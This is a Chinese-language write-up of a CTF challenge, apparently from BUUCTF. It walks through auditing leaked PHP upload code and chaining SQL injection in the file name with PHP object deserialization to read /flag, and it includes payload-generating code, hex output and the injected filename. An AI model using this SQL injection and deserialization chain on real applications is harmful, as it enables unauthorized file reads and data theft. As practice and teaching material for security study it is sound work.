BUUCTF-[安洵杯 2019]不是檔案上傳 wp
知識點:github原始碼洩露、程式碼審計、php反序列化
進入頁面後發現可以進行檔案上傳,嘗試上傳了一個1.txt檔案後報錯,於是上傳1.jpg檔案,顯示上傳成功後進入show.php檢視,發現檔案被重新命名
猜測後端可能使用的是白名單+重新命名的方式,又聯想到題目為不是檔案上傳,那就應該是通過其他的方式獲取到flag。又回到首頁,發現把首頁滑下來有Powered By wowouploadimage這一行字,於是去github上搜看是否存在原始碼洩露,結果發現存在原始碼洩露。
既然存在原始碼洩露那就要進行程式碼審計了,先點開config.txt,結果。。。那看來不是這個檔案了
再嘗試讀取helper.php,發現最下方的程式碼中可以通過反序列化利用_destruct呼叫file_get_contents函式來讀取flag
仔細審計程式碼後,發現上傳圖片時helper.php會將圖片的高和寬進行序列化後插入資料庫,show.php會將資料庫裡的資料反序列化後展示出來。helper.php中的check函式對檔名進行了重新命名並且設定了白名單,但是沒有對title的值進行處理,而title的值是由filename決定的,猜測可以通過filename進行sql注入插入我們所想要插入的內容,從而讀取flag。
要讀取flag檔案,構造payload:
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo bin2hex(serialize($a));
?>
執行後輸出:4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d
通過使用burp抓包修改filename為
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg以修改